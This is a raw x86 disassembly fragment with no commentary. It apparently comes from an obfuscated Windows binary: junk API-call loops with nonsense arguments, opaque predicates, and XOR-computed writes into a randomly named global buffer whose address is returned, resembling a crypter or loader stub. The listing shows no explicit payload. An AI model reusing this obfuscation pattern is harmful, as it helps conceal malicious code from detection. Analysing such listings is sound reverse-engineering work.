sub edx, dword [0x50cf90]
cmp edx, dword [ebp - 0x58]
jge 0x40695b
mov dword [ebp - 0x15c], 1
jmp 0x406965
mov dword [ebp - 0x15c], 0
mov eax, dword [0x50cf80]
sub eax, 1
mov dword [0x50cf80], eax
mov ecx, dword [0x50cf80]
and ecx, dword [ebp - 0x158]
mov edx, dword [0x50cf94]
add edx, dword [ebp - 0x54]
or ecx, edx
or ecx, dword [ebp - 0x15c]
mov dword [ebp - 0x1e4], ecx
mov eax, dword [0x50cf94]
sub eax, 1
mov dword [0x50cf94], eax
cmp dword [ebp - 0x1e4], 0
je 0x4069ef
mov ecx, dword [0x50cf7c]
cmp ecx, dword [ebp - 0x44]
jge 0x4069c2
mov dword [ebp - 0x160], 1
jmp 0x4069cc
mov dword [ebp - 0x160], 0
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
sub eax, dword [0x50cf94]
or eax, dword [ebp - 0x160]
je 0x4069ef
mov ecx, dword [ebp - 4]
sub ecx, 1
mov dword [ebp - 4], ecx
jmp 0x4068b1
mov dword [ebp - 0x90], 0
jmp 0x406a0f
mov edx, dword [ebp - 0x90]
add edx, 1
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x2c]
sub eax, 0x18a7c
cmp dword [ebp - 0x90], eax
jge 0x406a67
push 0x416c
push 0xdf35
push 0x161e8
push 0x1162b
push 0x11126
push 0xd161
push 0x4cb
call dword [sym.imp.USER32.dll_CreateWindowExA]
add esp, 0x1c
mov ecx, dword [0x50cfd4]
cmp ecx, dword [ebp - 8]
jge 0x406a65
mov edx, dword [0x50cf98]
sub edx, 1
mov dword [0x50cf98], edx
jmp 0x406a00
mov eax, dword [ebp + 0x1c]
or eax, 0xfb0e
or eax, 0xdd45
xor eax, 0xff42
mov ecx, dword [ebp + 0x24]
and ecx, 0x325c
xor ecx, 0x123
xor ecx, 0x2148
mov byte [ecx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], al
mov edx, dword [0x50cf8c]
sub edx, 0x44
push edx
mov eax, dword [0x50cf84]
add eax, 0x203
push eax
mov ecx, dword [0x50cfd4]
add ecx, 0x369
push ecx
mov edx, dword [ebp - 0x5c]
add edx, 0xb1
push edx
call fcn.00420920
add esp, 0x10
mov eax, dword [ebp + 0x14]
or eax, 0xfffff388
xor eax, 0xfffff728
mov ecx, dword [ebp + 0x1c]
or ecx, 0x2dac
sub ecx, 0x290
xor ecx, 0xeb28
mov byte [ecx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], al
mov edx, dword [0x50cf80]
mov dword [ebp - 0x1e8], edx
mov eax, dword [0x50b234]
mov dword [ebp - 0x1ec], eax
mov ecx, dword [0x50b234]
add ecx, 1
mov dword [0x50b234], ecx
mov edx, dword [ebp - 0x1e8]
cmp edx, dword [ebp - 0x1ec]
jge 0x406b30
mov dword [ebp - 0x164], 1
jmp 0x406b3a
mov dword [ebp - 0x164], 0
mov eax, dword [0x50cfa0]
cmp eax, dword [0x50cf7c]
jge 0x406b53
mov dword [ebp - 0x168], 1
jmp 0x406b5d
mov dword [ebp - 0x168], 0
mov ecx, dword [ebp - 0x164]
and ecx, dword [0x50cf84]
and ecx, dword [ebp - 0x168]
mov edx, dword [0x50cf88]
sub edx, dword [ebp - 0x14]
and ecx, edx
je 0x406be7
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 0x4c]
jge 0x406b99
mov dword [ebp - 0x16c], 1
jmp 0x406ba3
mov dword [ebp - 0x16c], 0
mov edx, dword [ebp - 4]
add edx, dword [0x50cfa0]
cmp edx, dword [ebp - 0x54]
jge 0x406bbd
mov dword [ebp - 0x170], 1
jmp 0x406bc7
mov dword [ebp - 0x170], 0
mov eax, dword [ebp - 0x16c]
and eax, dword [0x50cfa4]
and eax, dword [ebp - 0x50]
or eax, dword [ebp - 0x170]
je 0x406be7
mov ecx, dword [ebp - 0x28]
sub ecx, 1
mov dword [ebp - 0x28], ecx
mov edx, 0xd51e
sub edx, dword [ebp + 0x18]
xor edx, 0x85938676
mov eax, 0xc870
sub eax, dword [ebp + 0x28]
xor eax, 0x535e
mov dword [eax + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], edx
mov dword [ebp - 0x94], 0
jmp 0x406c23
mov ecx, dword [ebp - 0x94]
add ecx, 1
mov dword [ebp - 0x94], ecx
mov edx, dword [ebp - 0x44]
sub edx, 0xe
cmp dword [ebp - 0x94], edx
jge 0x406c50
mov eax, dword [ebp - 0x28]
xor eax, dword [0x50cf88]
cmp eax, dword [ebp - 0x34]
jge 0x406c4e
mov ecx, dword [0x50b234]
add ecx, 1
mov dword [0x50b234], ecx
jmp 0x406c14
mov edx, dword [ebp - 0x1c]
sub edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [0x50cf98]
cmp eax, dword [ebp - 0x1c]
jge 0x406c6f
mov dword [ebp - 0x174], 1
jmp 0x406c79
mov dword [ebp - 0x174], 0
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x10]
jge 0x406c8d
mov dword [ebp - 0x178], 1
jmp 0x406c97
mov dword [ebp - 0x178], 0
mov edx, dword [ebp - 0x174]
and edx, dword [ebp - 0x178]
je 0x406cb2
mov eax, dword [0x50cf9c]
sub eax, 1
mov dword [0x50cf9c], eax
mov ecx, dword [ebp + 0x18]
or ecx, 0xd757
and ecx, 0x3051
xor ecx, 0x72654720
mov edx, dword [ebp + 0x1c]
xor edx, 0xfdaf
xor edx, 0x117f
mov dword [edx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], ecx
mov eax, dword [0x50cfa4]
add eax, 0x205
push eax
mov ecx, dword [0x50cf80]
add ecx, 0x77
push ecx
call fcn.0041c9c0
add esp, 8
mov dword [ebp - 0x98], 0
jmp 0x406d14
mov edx, dword [ebp - 0x98]
add edx, 1
mov dword [ebp - 0x98], edx
mov eax, dword [ebp - 0x50]
sub eax, 0x18931
cmp dword [ebp - 0x98], eax
jge 0x406d6b
mov ecx, dword [0x50cf90]
add ecx, 1
mov dword [0x50cf90], ecx
push 0xffa7
push 0x29f9
push 0xcb17
push 0x881a
push 0x18204
push 0xeee3
push 0x11d24
push 0x7b11
push 0x84cd
call dword [sym.imp.CRYPT32.dll_CryptMsgGetParam]
add esp, 0x24
jmp 0x406d05
mov edx, dword [ebp + 0x28]
and edx, 0x3148
sub edx, 0x7886
xor edx, 0xffffb8c8
mov eax, dword [ebp + 0x28]
and eax, 0x8de2
xor eax, 0x561
mov byte [eax + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], dl
mov dword [ebp - 0x9c], 0
jmp 0x406dae
mov ecx, dword [ebp - 0x9c]
add ecx, 1
mov dword [ebp - 0x9c], ecx
mov edx, dword [ebp - 0x5c]
sub edx, 0x188d2
cmp dword [ebp - 0x9c], edx
jge 0x406e4f
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x4c]
jge 0x406e4a
mov ecx, dword [0x50cf88]
cmp ecx, dword [ebp - 0xc]
jge 0x406de2
mov dword [ebp - 0x17c], 1
jmp 0x406dec
mov dword [ebp - 0x17c], 0
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x3c]
jge 0x406e00
mov dword [ebp - 0x180], 1
jmp 0x406e0a
mov dword [ebp - 0x180], 0
mov eax, dword [ebp - 0x40]
or eax, dword [0x50cf8c]
or eax, dword [ebp - 0x54]
or eax, dword [ebp - 0x17c]
or eax, dword [ebp - 0x180]
je 0x406e4a
push 0xcbb6
push 0x14b75
push 0x100f8
push 0x9309
call dword [sym.imp.USER32.dll_GetSysColor]
add esp, 0x10
mov ecx, dword [ebp - 0x48]
sub ecx, 1
mov dword [ebp - 0x48], ecx
jmp 0x406d9f
mov dword [ebp - 0xa0], 0
jmp 0x406e6a
mov edx, dword [ebp - 0xa0]
add edx, 1
mov dword [ebp - 0xa0], edx
mov eax, dword [ebp - 0x38]
sub eax, 0x323
cmp dword [ebp - 0xa0], eax
jge 0x406e8b
mov ecx, dword [0x50cf8c]
add ecx, 1
mov dword [0x50cf8c], ecx
jmp 0x406e5b
mov edx, dword [ebp - 0x10]
add edx, 0x284
push edx
mov eax, dword [ebp - 0x60]
sub eax, 0x63
push eax
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x186
push ecx
call fcn.0040ed60
add esp, 0xc
mov edx, dword [ebp + 0xc]
or edx, 0x34d3
xor edx, 0x59542692
mov eax, dword [ebp + 0x10]
xor eax, 0x976a
xor eax, 0x9725
mov dword [eax + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], edx
mov ecx, dword [ebp - 0x28]
sub ecx, 0x1bb
push ecx
mov edx, dword [ebp - 4]
add edx, 0xcd
push edx
mov eax, dword [ebp - 0x28]
add eax, 0x2d
push eax
mov ecx, dword [0x50cf8c]
add ecx, 0x53
push ecx
mov edx, dword [0x50cf90]
sub edx, 0x105
push edx
mov eax, dword [ebp - 0x2c]
sub eax, 0x1ef
push eax
mov ecx, dword [ebp - 0x14]
sub ecx, 7
push ecx
mov edx, dword [0x50cf9c]
sub edx, 0x88
push edx
call fcn.0041e410
add esp, 0x20
mov eax, dword [ebp + 0x10]
xor eax, 0x1488
and eax, 0x180e
xor eax, 0x3433223b
mov ecx, dword [ebp + 0x20]
and ecx, 0x1a7b
xor ecx, 0x1035
mov dword [ecx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], eax
mov dword [ebp - 0xa4], 0
jmp 0x406f69
mov edx, dword [ebp - 0xa4]
add edx, 1
mov dword [ebp - 0xa4], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x187f5
cmp dword [ebp - 0xa4], eax
jge 0x406f92
push 0x16591
call dword [sym.imp.KERNEL32.dll_GetLogicalProcessorInformation]
add esp, 4
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x406f5a
mov dword [ebp - 0xa8], 0
jmp 0x406fad
mov edx, dword [ebp - 0xa8]
add edx, 1
mov dword [ebp - 0xa8], edx
mov eax, dword [0x50cf84]
sub eax, 0x19c
cmp dword [ebp - 0xa8], eax
jge 0x407002
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x54]
jge 0x406fd3
mov dword [ebp - 0x184], 1
jmp 0x406fdd
mov dword [ebp - 0x184], 0
mov edx, dword [ebp - 0x2c]
sub edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0xc]
or eax, dword [ebp - 0x184]
or eax, dword [ebp - 0x2c]
or eax, dword [ebp - 0x20]
je 0x407000
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
jmp 0x406f9e
mov edx, dword [ebp + 8]
and edx, 0xc981
xor edx, 0x8f3
mov eax, 0xd914
sub eax, dword [ebp + 0x20]
or eax, 0x4bcc
xor eax, 0x6bf1
mov byte [eax + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], dl
mov ecx, dword [ebp - 0x44]
add ecx, 0x2fa
push ecx
mov edx, dword [ebp - 0x1c]
sub edx, 0xda
push edx
call fcn.0041c9c0
add esp, 8
mov eax, 0xf430
sub eax, dword [ebp + 0x10]
xor eax, 0x69758aa9
mov ecx, 0x444
sub ecx, dword [ebp + 0x20]
xor ecx, 0xffff543b
mov dword [ecx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], eax
mov edx, dword [ebp - 0x20]
add edx, 0x6d
push edx
mov eax, dword [ebp - 0x60]
add eax, 0x84
push eax
mov ecx, dword [ebp - 0x30]
add ecx, 0x1fa
push ecx
mov edx, dword [ebp - 0x54]
sub edx, 0x189
push edx
mov eax, dword [0x50cf90]
sub eax, 0x117
push eax
mov ecx, dword [ebp - 0x48]
sub ecx, 0xfd
push ecx
mov edx, dword [ebp - 0x34]
add edx, 0x2b3
push edx
call fcn.004293e0
add esp, 0x1c
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x38]
jge 0x4070c5
mov dword [ebp - 0x188], 1
jmp 0x4070cf
mov dword [ebp - 0x188], 0
mov ecx, dword [ebp - 0x20]
imul ecx, dword [ebp - 0xc]
and ecx, dword [ebp - 0x188]
mov dword [ebp - 0x1f0], ecx
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0x1f0], 0
je 0x4070fd
mov eax, dword [ebp - 0x4c]
sub eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [0x50b234]
sub ecx, 1
mov dword [0x50b234], ecx
mov dword [ebp - 0xac], 0
jmp 0x407127
mov edx, dword [ebp - 0xac]
add edx, 1
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0x24]
sub eax, 0x186ac
cmp dword [ebp - 0xac], eax
jge 0x407156
mov ecx, dword [0x50cfa4]
add ecx, 1
mov dword [0x50cfa4], ecx
push 0x152e9
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
add esp, 4
jmp 0x407118
mov dword [ebp - 0xb0], 0
jmp 0x407171
mov edx, dword [ebp - 0xb0]
add edx, 1
mov dword [ebp - 0xb0], edx
mov eax, dword [0x50cfd4]
sub eax, 0x186c1
cmp dword [ebp - 0xb0], eax
jge 0x4071ad
push 0x2e8a
call dword [sym.imp.GDI32.dll_SelectObject]
add esp, 4
mov ecx, dword [0x50b234]
cmp ecx, dword [ebp - 0x28]
jge 0x4071ab
mov edx, dword [0x50cf8c]
sub edx, 1
mov dword [0x50cf8c], edx
jmp 0x407162
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
mov eax, str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY
jmp 0x407298
mov esp, ebp
pop ebp
ret